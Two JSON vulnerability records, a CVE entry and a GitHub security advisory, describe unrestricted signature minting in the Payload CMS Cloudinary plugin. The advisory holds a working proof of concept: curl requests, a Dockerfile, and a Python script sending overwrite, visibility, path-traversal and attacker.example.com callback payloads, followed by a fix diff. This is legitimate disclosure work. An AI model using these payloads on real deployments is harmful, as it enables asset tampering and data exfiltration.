{
  "affected": [
    {
      "affectedData": [
        {
          "product": "payload-plugins",
          "vendor": "jhb-software",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.3.0, \u003c 0.4.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0."
    }
  ],
  "id": "CVE-2026-58200",
  "lastModified": "2026-09-30T17:51:56.193",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-58200",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-15T18:57:42.458955Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-15T17:17:23.113",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jhb-software/payload-plugins/commit/da2325901c5eeced17d33a1b2e647e300b8cbff2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jhb-software/payload-plugins/pull/155"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jhb-software/payload-plugins/releases/tag/cloudinary@0.4.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-h5x8-xp6m-x6q4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-347"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@jhb.software/payload-cloudinary-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T22:10:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin\n\n### Summary\n\n`@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters \u2014 including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values \u2014 enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.\n\n### Details\n\nWhen `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`.\n\n**Vulnerable code path (step by step):**\n\n1. `cloudinary/src/index.ts:58` \u2014 `initClientUploads` registers the server upload handler.\n2. `cloudinary/src/index.ts:68` \u2014 The Cloudinary API key is exposed to client handler props by design.\n3. `cloudinary/src/index.ts:74-79` \u2014 The signing endpoint is mounted at `/cloudinary-generate-signature`.\n4. `cloudinary/src/getGenerateSignature.ts:18` \u2014 The default access control checks only `!!req.user`, permitting any authenticated user.\n5. `cloudinary/src/getGenerateSignature.ts:46` \u2014 The entire request body is parsed: `const body = await req.json?.()`.\n6. `cloudinary/src/getGenerateSignature.ts:55` \u2014 **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function.\n\n```ts\n// cloudinary/src/getGenerateSignature.ts:46-55\nconst body = await req.json?.()\n\nif (!body?.paramsToSign) {\n  return new Response(JSON.stringify({ error: \u0027No paramsToSign provided\u0027 }), ...)\n}\n\n// No allowlist, no key filtering, no folder/public_id/overwrite enforcement\nconst signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n```\n\nThere are **no** mitigations in place:\n- No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.)\n- No folder/public_id policy enforcement (the plugin\u0027s `folder` option from `index.ts` is never passed to `getGenerateSignature`)\n- No timestamp freshness check\n- No restriction on path traversal sequences in `folder` or `public_id`\n\nDynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:\n\n| Case | paramsToSign | Impact |\n|------|-------------|--------|\n| CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset |\n| CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control |\n| CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook |\n| CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation |\n\nPython-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.\n\n### PoC\n\n**Prerequisites:**\n- `@jhb.software/payload-cloudinary-plugin@0.3.4` deployed with `clientUploads: true`\n- An authenticated Payload session (any privilege level)\n- Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`)\n\n**Step 1 \u2014 Obtain a signature for arbitrary parameters (bash):**\n\n```bash\nTS=$(date +%s)\n\nSIG=$(curl -s \\\n  -H \"Authorization: Bearer \u003cLOW_PRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST \"http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media\" \\\n  --data \"{\\\"paramsToSign\\\":{\\\"timestamp\\\":\\\"$TS\\\",\\\"folder\\\":\\\"attacker\\\",\\\"public_id\\\":\\\"overwrite-target\\\",\\\"overwrite\\\":\\\"true\\\"}}\" \\\n  | jq -r .signature)\n\necho \"Obtained signature: $SIG\"\n```\n\n**Step 2 \u2014 Use the minted signature to upload directly to Cloudinary:**\n\n```bash\ncurl -s -X POST \"https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload\" \\\n  -F \"file=@poc.txt\" \\\n  -F \"api_key=$CLOUDINARY_API_KEY\" \\\n  -F \"timestamp=$TS\" \\\n  -F \"folder=attacker\" \\\n  -F \"public_id=overwrite-target\" \\\n  -F \"overwrite=true\" \\\n  -F \"signature=$SIG\"\n```\n\n**Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` \u2014 an asset path the plugin never intended to authorize.\n\n**Automated PoC (Python):**\n\n```bash\n# Build and run the reproduction container\ndocker build -t vuln-002-cloudinary .\ndocker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary\n\n# Run all five attack scenarios\npython3 poc.py --server http://127.0.0.1:3000\n```\n\nThe script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.\n\n**Sample output (Phase 2 evidence):**\n\n```\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"attacker-controlled\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}\n      =\u003e abc45ef5f0807bdef153074d2be3e713ea867168  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"type\":\"private\",\"public_id\":\"admin-document\"}\n      =\u003e 0d8102a5ff48953832b76a1f21d1c513af5940e1  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"media\",\"notification_url\":\"http://attacker.example.com/exfil\"}\n      =\u003e 72d954c67bd4a38d6a3931c64511f84143d24685  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"../../../../admin-assets\",\"public_id\":\"../../../sensitive\",\"invalidate\":\"true\"}\n      =\u003e d44984e7af8fca306e59e00810c2623d8963e011  (HTTP 200)\n\nResults: 5/5 cases confirmed \u2014 HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign\n```\n\n**Recommended fix:**\n\n```diff\n--- a/cloudinary/src/getGenerateSignature.ts\n+++ b/cloudinary/src/getGenerateSignature.ts\n@@ type Args = {\n   apiSecret: string\n+  folder?: string\n }\n@@ export const getGenerateSignature =\n-  ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =\u003e\n+  ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =\u003e\n@@\n-    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n+    const paramsToSign = body.paramsToSign as Record\u003cstring, unknown\u003e\n+    const allowedKeys = new Set([\u0027timestamp\u0027, \u0027folder\u0027, \u0027public_id\u0027])\n+    if (\n+      !paramsToSign ||\n+      Object.keys(paramsToSign).some((key) =\u003e !allowedKeys.has(key)) ||\n+      typeof paramsToSign.timestamp !== \u0027string\u0027\n+    ) {\n+      throw new Forbidden()\n+    }\n+    if (folder \u0026\u0026 paramsToSign.folder !== folder.replace(/^\\/|\\/$/g, \u0027\u0027)) {\n+      throw new Forbidden()\n+    }\n+    if (\n+      typeof paramsToSign.public_id === \u0027string\u0027 \u0026\u0026\n+      (paramsToSign.public_id.includes(\u0027..\u0027) || paramsToSign.public_id.startsWith(\u0027/\u0027))\n+    ) {\n+      throw new Forbidden()\n+    }\n+    const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)\n```\n\n### Impact\n\nThis is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user.\n\n**Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).\n\n**Concrete attack outcomes:**\n\n- **Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.\n- **Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.\n- **SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.\n- **Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.\n\nThe Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-alpine\n\nLABEL description=\"VULN-002 reproduction: arbitrary Cloudinary API parameter signing\" \\\n      vuln=\"getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist\" \\\n      package=\"@jhb.software/payload-cloudinary-plugin@0.3.4\"\n\nWORKDIR /app\n\n# Install exactly the cloudinary version declared in the plugin\u0027s package.json\nRUN echo \u0027{\"name\":\"vuln-002-server\",\"version\":\"1.0.0\",\"private\":true}\u0027 \u003e package.json \u0026\u0026 \\\n    npm install cloudinary@2.10.0 --save --no-audit --no-fund\n\nCOPY server.js .\n\nEXPOSE 3000\n\n# Start the minimal reproduction server\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Arbitrary Cloudinary API Parameter Signing\nPackage : @jhb.software/payload-cloudinary-plugin v0.3.4\nFile    : cloudinary/src/getGenerateSignature.ts:55\nCWE     : CWE-347 \u2014 Improper Verification of Cryptographic Signature\nCVSS    : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n\nVulnerable sink (exact line from source):\n    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n\nbody.paramsToSign is passed directly with no allowlist, no key filtering, and no\nfolder/public_id/overwrite enforcement. Any authenticated user can obtain a valid\nCloudinary HMAC-SHA1 signature for arbitrary upload parameters.\n\nUsage:\n    python3 poc.py [--server http://127.0.0.1:3000]\n\"\"\"\n\nimport argparse\nimport hashlib\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# Must match API_SECRET in server.js\nAPI_SECRET = \"poc-fake-api-secret-12345\"\n\n# Simulates a low-privilege authenticated user session\nAUTH_HEADER = \"Bearer low-privilege-user-token\"\n\nGREEN = \"\\033[32m\"\nRED = \"\\033[31m\"\nYELLOW = \"\\033[33m\"\nRESET = \"\\033[0m\"\n\n\n# ---------------------------------------------------------------------------\n# Cloudinary signature algorithm \u2014 Python re-implementation of\n#   cloudinary.utils.api_sign_request(params, api_secret)\n# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )\n# ---------------------------------------------------------------------------\ndef cloudinary_sign(params: dict, api_secret: str) -\u003e str:\n    \"\"\"Return the expected Cloudinary HMAC-SHA1 signature for params.\"\"\"\n    filtered = {k: v for k, v in params.items() if v not in (None, \"\")}\n    sorted_pairs = sorted(filtered.items())\n    param_str = \"\u0026\".join(f\"{k}={v}\" for k, v in sorted_pairs)\n    to_sign = param_str + api_secret\n    return hashlib.sha1(to_sign.encode(\"utf-8\")).hexdigest()\n\n\n# ---------------------------------------------------------------------------\n# HTTP helpers\n# ---------------------------------------------------------------------------\ndef post_sign(server: str, params: dict) -\u003e tuple[int, dict]:\n    \"\"\"\n    POST {\"paramsToSign\": params} to the signing endpoint.\n    Returns (http_status, response_dict).\n    Raises urllib.error.HTTPError for 4xx/5xx.\n    \"\"\"\n    body = json.dumps({\"paramsToSign\": params}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"{server}/api/cloudinary-generate-signature?collectionSlug=media\",\n        data=body,\n        headers={\n            \"Content-Type\": \"application/json\",\n            \"Authorization\": AUTH_HEADER,\n        },\n        method=\"POST\",\n    )\n    with urllib.request.urlopen(req, timeout=10) as resp:\n        return resp.status, json.loads(resp.read())\n\n\n# ---------------------------------------------------------------------------\n# Test runner\n# ---------------------------------------------------------------------------\ndef run_case(server: str, label: str, params: dict) -\u003e bool:\n    \"\"\"\n    Execute one signing test case and verify:\n      1. HTTP 200 is returned (endpoint did NOT reject the params).\n      2. The returned signature is mathematically correct.\n    Returns True if both conditions hold (vulnerability confirmed for this case).\n    \"\"\"\n    print(f\"\\n  [{label}]\")\n    print(f\"  paramsToSign : {json.dumps(params)}\")\n\n    try:\n        status, data = post_sign(server, params)\n    except urllib.error.HTTPError as exc:\n        body = exc.read().decode(errors=\"replace\")\n        print(f\"  HTTP {exc.code} \u2014 request rejected: {body}\")\n        print(f\"  {RED}UNEXPECTED REJECTION{RESET} \u2014 allowlist may be present for this case\")\n        return False\n    except Exception as exc:\n        print(f\"  Connection error: {exc}\")\n        return False\n\n    sig_returned = data.get(\"signature\", \"\")\n    sig_expected = cloudinary_sign(params, API_SECRET)\n    sig_match = sig_returned == sig_expected\n\n    print(f\"  HTTP status  : {status}\")\n    print(f\"  Signature    : {sig_returned}\")\n    print(f\"  Expected sig : {sig_expected}\")\n    print(f\"  Sig valid    : {\u0027YES \u2014 mathematically correct HMAC-SHA1\u0027 if sig_match else \u0027NO \u2014 mismatch\u0027}\")\n\n    if status == 200 and sig_match:\n        print(f\"  {GREEN}CONFIRMED{RESET} \u2014 endpoint signed arbitrary params without rejection\")\n        return True\n    else:\n        print(f\"  {RED}UNEXPECTED{RESET} \u2014 status={status}, sig_match={sig_match}\")\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-002 PoC\")\n    parser.add_argument(\"--server\", default=\"http://127.0.0.1:3000\", help=\"Target server URL\")\n    args = parser.parse_args()\n    server = args.server.rstrip(\"/\")\n\n    ts = str(int(time.time()))\n\n    print(\"=\" * 70)\n    print(\"VULN-002 PoC \u2014 Arbitrary Cloudinary API Parameter Signing\")\n    print(f\"Target  : {server}\")\n    print(f\"Vuln    : getGenerateSignature.ts:55 \u2014 no paramsToSign allowlist\")\n    print(f\"Auth    : {AUTH_HEADER!r}  (low-privilege user simulation)\")\n    print(\"=\" * 70)\n\n    # ------------------------------------------------------------------\n    # Attack scenarios\n    # ------------------------------------------------------------------\n    # Each case passes paramsToSign that the plugin should REJECT but does NOT.\n    # A correctly patched implementation would return 4xx for cases 2-5.\n    # ------------------------------------------------------------------\n    cases = [\n        (\n            \"CASE-1: Legitimate params (baseline \u2014 should always succeed)\",\n            {\"timestamp\": ts, \"folder\": \"media\", \"public_id\": \"user-upload\"},\n        ),\n        (\n            \"CASE-2: Attacker-controlled folder + overwrite=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"attacker-controlled\",\n                \"public_id\": \"overwrite-target\",\n                \"overwrite\": \"true\",\n            },\n        ),\n        (\n            \"CASE-3: type=private \u2014 changes upload visibility\",\n            {\n                \"timestamp\": ts,\n                \"type\": \"private\",\n                \"public_id\": \"admin-document\",\n            },\n        ),\n        (\n            \"CASE-4: notification_url \u2014 potential SSRF / data exfiltration\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"media\",\n                \"notification_url\": \"http://attacker.example.com/exfil\",\n            },\n        ),\n        (\n            \"CASE-5: folder path traversal + invalidate=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"../../../../admin-assets\",\n                \"public_id\": \"../../../sensitive\",\n                \"invalidate\": \"true\",\n            },\n        ),\n    ]\n\n    results = []\n    for label, params in cases:\n        results.append(run_case(server, label, params))\n\n    passed = sum(results)\n    total = len(results)\n\n    print(\"\\n\" + \"=\" * 70)\n    print(f\"Results : {passed}/{total} cases confirmed\")\n\n    # Cases 1-5 all passing means the vulnerability is proven:\n    # the endpoint signs ANY paramsToSign regardless of content.\n    if all(results):\n        print(f\"\\n{GREEN}VERDICT: PASS \u2014 VULN-002 CONFIRMED{RESET}\")\n        print(\n            \"All 5 attack scenarios returned HTTP 200 with a mathematically valid\"\n            \" Cloudinary HMAC-SHA1 signature.\"\n        )\n        print(\n            \"The plugin endpoint signs arbitrary upload parameters without any\"\n            \" allowlist, folder enforcement, or overwrite/type restriction.\"\n        )\n        print(\n            \"Impact: any authenticated Payload user can mint valid Cloudinary\"\n            \" signatures for arbitrary parameters, enabling asset replacement,\"\n            \" privacy changes, and potential SSRF via notification_url.\"\n        )\n        sys.exit(0)\n    elif results[0]:\n        failed = [cases[i][0] for i, r in enumerate(results) if not r]\n        print(f\"\\n{YELLOW}VERDICT: PARTIAL \u2014 baseline succeeded but some cases failed{RESET}\")\n        print(f\"Failed cases: {failed}\")\n        sys.exit(2)\n    else:\n        print(f\"\\n{RED}VERDICT: FAIL \u2014 server not reachable or baseline request failed{RESET}\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-h5x8-xp6m-x6q4",
  "modified": "2026-06-19T22:10:37Z",
  "published": "2026-06-19T22:10:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-h5x8-xp6m-x6q4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jhb-software/payload-plugins"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing"
}